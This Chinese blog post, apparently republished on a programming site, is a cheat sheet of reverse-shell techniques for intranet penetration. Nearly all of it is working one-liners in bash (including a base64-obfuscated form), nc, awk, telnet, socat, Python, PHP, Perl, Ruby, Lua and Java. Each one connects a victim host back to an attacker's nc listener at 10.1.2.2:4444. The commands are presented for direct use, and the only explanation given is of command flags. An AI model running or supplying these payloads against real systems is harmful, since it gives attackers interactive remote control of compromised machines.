论内网渗透中,反弹shell的各种姿势

论内网渗透中,反弹shell的各种姿势反弹shell是进入内网的第一步,也是权限提升用到的至关重要的一步。1、bash反弹 攻击机: nc-lvp4444 客户机: bash-i>&/dev/tcp/10.1.2.2/44440>&1命令介绍:nc -i使用监听模式 -v显示命令执行过程 -p指定端口号。 -e执行给定的命令 bash -i使用交互模式, -c执行跟的命令 重定向 0:标准输入,

论内网渗透中,反弹shell的各种姿势"

反弹shell是进入内网的第一步,也是权限提升用到的至关重要的一步。

1、bash反弹

  • 攻击机:

nc -lvp 4444

  • 客户机:

bash -i>& /dev/tcp/10.1.2.2/4444 0>&1

命令介绍:

nc

  • -i使用监听模式

  • -v 显示命令执行过程

  • -p 指定端口号。

  • -e 执行给定的命令

bash

  • -i使用交互模式,

  • -c 执行跟的命令

重定向

  • 0:标准输入,1:标准输出,2:错误输出。

  • >输出重定向符

  • <输入重定向符号

  • >& 如果后面跟的是文件,则把标准输出和标准错误输出重定向到文件,如果后面跟的是文件描述符,则将左边的文件描述符重定向到右面描述符

/dev/tcp/10.1.2.2/4444

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

base64版:

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

2、nc反弹

  • 攻击机:

nc -lvp 4444

  • 客户机:

nc -e /bin/bash 10.1.2.2 4444

nc 10.1.2.2 4444 | /bin/bash |nc 10.1.2.2 5555

3、awk反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

awk 'BEGIN{s="/inet/tcp/0/10.1.2.2/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

命令介绍:

awk

  • BEGIN 执行结果前执行的内容

  • END 执行结果后执行的内容

  • getline 获取当前行的下一行

  • close 关闭文件或管道

4、telnet反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

telnet 10.1.2.2 4444 | /bin/bash | telnet 10.1.2.2 5555
  • 需要在攻击主机上分别监听4444和5555端口,执行反弹shell命令后,在4444终端输入命令,5555查看命令执行后的结果。

5、socat反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp: 10.1.2.2:4444

socat

概述socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版

  • exec 执行一个程序作为数据流

6、Python反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

python -c 
"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.2.2',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

7、php反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

php -r '$sock=fsockopen("10.1.2.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

8、Perl反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

perl -e 'use Socket;$i="10.1.2.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

9、ruby反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

ruby -rsocket -e'f=TCPSocket.open("10.1.2.2",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

10、Lua反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.2.2','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

11、JAVA反弹

  • 攻击机

nc -lvp 4444

  • 客户机:

public class Revs {
public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/10.1.2.2/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

javac编译,java执行即可成功

今天的文章论内网渗透中,反弹shell的各种姿势分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:http://bianchenghao.cn/27876.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注